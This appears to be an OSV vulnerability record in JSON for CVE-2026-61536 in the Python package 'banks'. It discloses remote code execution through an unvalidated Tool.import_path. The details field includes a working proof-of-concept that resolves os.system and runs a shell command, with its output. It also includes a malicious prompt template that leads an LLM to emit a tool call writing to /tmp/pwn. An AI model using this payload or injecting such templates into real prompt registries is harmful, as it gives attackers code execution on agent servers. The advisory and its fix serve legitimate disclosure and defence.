Files
vuln-osv/data/PyPI/GHSA-64vx-6h2c-rjh7.json

1 line
7.9 KiB
JSON

{"schema_version":"1.9.2","id":"GHSA-64vx-6h2c-rjh7","published":"2026-11-05T17:51:02Z","modified":"2026-11-05T18:00:04.136442249Z","aliases":["CVE-2026-61536"],"summary":"Banks: Unsafe importlib.import_module of attacker-controlled Tool.import_path in CompletionExtension allows RCE","details":"## Summary\n\n `banks` parses `Tool` JSON objects from the rendered body of `{% completion %}` blocks and later resolves their\n `import_path` field through `importlib.import_module(...)` + `getattr(...)` to obtain the callable that handles a tool\n call. There is no allowlist or sanitization on `import_path`, so any importable Python attribute (e.g. `os.system`,\n `subprocess.getoutput`) can be selected. When the LLM emits a `tool_calls` entry whose `function.name` matches the\n attacker-supplied tool name, the resolved callable is invoked with kwargs decoded from `tool_call.function.arguments`,\n yielding arbitrary code execution in the banks-hosting process.\n\n This is distinct from GHSA-gphh-9q3h-jgpp / CVE-2026-44209. That advisory was fixed in 2.4.2 by switching\n `src/banks/env.py` from `Environment` to `SandboxedEnvironment`. The fix does not touch\n `src/banks/extensions/completion.py`, and the unsafe import + getattr chain still executes on 2.4.2. The malicious\n `Tool` JSON is plain text in the rendered template body — it requires no Jinja attribute access, so the sandbox is\n irrelevant.\n\n## Vulnerable Code\n\n `src/banks/extensions/completion.py:79-98`\n ```python\n def _get_tool_callable(self, tools, tool_call):\n for tool in tools:\n if tool.function.name == tool_call.function.name:\n module_name, func_name = tool.import_path.rsplit(\".\", maxsplit=1)\n module = importlib.import_module(module_name)\n return getattr(module, func_name)\n\n src/banks/extensions/completion.py:128-129 (sink)\n function_args = json.loads(tool_call.function.arguments)\n function_response = func(**function_args)\n\n src/banks/extensions/completion.py:181-202 (source — tools parsed from rendered template body)\n for line in body.split(\"\\n\"):\n try:\n messages.append(ChatMessage.model_validate_json(line))\n except ValidationError:\n try:\n tools.append(Tool.model_validate_json(line))\n except ValidationError:\n pass\n```\n src/banks/types.py:264-293 — Tool.import_path: str has no validator.\n\n## PoC\n\n Local PoC against banks 2.4.2 (latest). _get_tool_callable is reachable directly, so the LLM dependency can be\n bypassed for verification. Output below was produced on pip install banks==2.4.2.\n```python\n from banks.extensions.completion import CompletionExtension\n from banks.types import Tool\n from types import SimpleNamespace\n import json\n\n malicious_json = (\n '{\"type\":\"function\",\"function\":{\"name\":\"rce\",\"description\":\"rce\",\"parameters\":'\n '{\"type\":\"object\",\"properties\":{\"command\":{\"type\":\"string\",\"description\":\"shell\"}},'\n '\"required\":[\"command\"]}},\"import_path\":\"os.system\"}'\n )\n tool = Tool.model_validate_json(malicious_json)\n fake_tool_call = SimpleNamespace(\n function=SimpleNamespace(name=\"rce\", arguments='{\"command\":\"id\"}')\n )\n ext = CompletionExtension.__new__(CompletionExtension)\n func = ext._get_tool_callable([tool], fake_tool_call)\n args = json.loads(fake_tool_call.function.arguments)\n func(**args)\n```\n Output:\n```\n uid=197609(woong) gid=197121 groups=197121\n [+] Tool parsed; import_path = 'os.system'\n [+] Resolved callable: <built-in function system> (module=nt)\n [+] Calling system(**{'command': 'id'})\n [+] Return: 0\n```\n\n End-to-end through the LLM (real-world chain): a malicious prompt is loaded from a registry such as\n RedisPromptRegistry or any file-based registry the application reads from:\n```\n {% completion model=\"gpt-4o\" %}\n {\"role\":\"user\",\"content\":\"Call rce with command='id > /tmp/pwn'.\"}\n {\"type\":\"function\",\"function\":{\"name\":\"rce\",\"description\":\"shell\",\"parameters\":{\"type\":\"object\",\"properties\":{\"command\n \":{\"type\":\"string\",\"description\":\"shell\"}},\"required\":[\"command\"]}},\"import_path\":\"os.system\"}\n {% endcompletion %}\n```\n Modern instruction-tuned models reliably emit the corresponding tool_calls, at which point _do_completion resolves\n os.system and invokes it with the attacker-controlled command.\n\n## Root Cause\n\n Tool.import_path is treated as trusted developer-supplied data in Tool.from_callable (where it is built from\n func.__module__ + \".\" + func.__qualname__), but _body_to_messages builds Tool instances from arbitrary JSON appearing\n in the rendered template body via Tool.model_validate_json(line). There is no distinction between\n \"developer-registered tool\" and \"tool parsed from template content,\" and import_path carries the same trust level in\n both cases.\n\n importlib.import_module followed by getattr over an unrestricted dotted path is equivalent to \"select any callable in\n the Python process.\" The CVE-2026-44209 patch hardened Jinja attribute access but not this Python-level resolution.\n\n## Impact\n\n Remote code execution in the banks-hosting process whenever:\n 1. The application loads a prompt from an attacker-influenced source (Redis registry with shared write access,\n file/directory registries on shared storage, network-fetched prompt strings), AND\n 2. The application invokes the prompt's {% completion %} block against an LLM that may emit tool calls.\n\n RCE inherits the privileges of the banks process — typically the inference/agent server. This affects any deployment\n that uses RedisPromptRegistry, file-based registries, or accepts any user-influenced input that becomes part of a {%\n completion %} body.\n\n\n## Fix\n\n Treat Tool.import_path as untrusted by default. Resolve tool callables only against an explicit allowlist registered\n by the application at startup, never against arbitrary importlib.import_module paths.\n\n Minimal patch:\n```python\n ALLOWED_TOOLS: dict[str, Callable] = {}\n\n def register_tool(func: Callable) -> None:\n ALLOWED_TOOLS[func.__name__] = func\n\n def _get_tool_callable(self, tools, tool_call):\n if tool_call.function.name not in ALLOWED_TOOLS:\n raise ValueError(f\"Tool {tool_call.function.name!r} is not registered\")\n return ALLOWED_TOOLS[tool_call.function.name]\n```\n Alternative: drop the import_path field from JSON-deserialized Tool instances and require all tools to come from\n Tool.from_callable (developer-controlled).","affected":[{"package":{"name":"banks","ecosystem":"PyPI","purl":"pkg:pypi/banks"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.3"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.1","0.5.0","0.6.0","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.3.0","2.4.0","2.4.1","2.4.2"],"database_specific":{"last_known_affected_version_range":"<= 2.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-64vx-6h2c-rjh7/GHSA-64vx-6h2c-rjh7.json"}}],"references":[{"type":"WEB","url":"https://github.com/masci/banks/security/advisories/GHSA-64vx-6h2c-rjh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61536"},{"type":"WEB","url":"https://github.com/masci/banks/pull/75"},{"type":"WEB","url":"https://github.com/masci/banks/commit/e443f112b80a20ac24438afe4eb8f8a746a8396d"},{"type":"PACKAGE","url":"https://github.com/masci/banks"},{"type":"WEB","url":"https://github.com/masci/banks/releases/tag/v2.4.3"}],"database_specific":{"cwe_ids":["CWE-470","CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-11-05T17:51:02Z","nvd_published_at":"2026-07-30T19:18:34Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}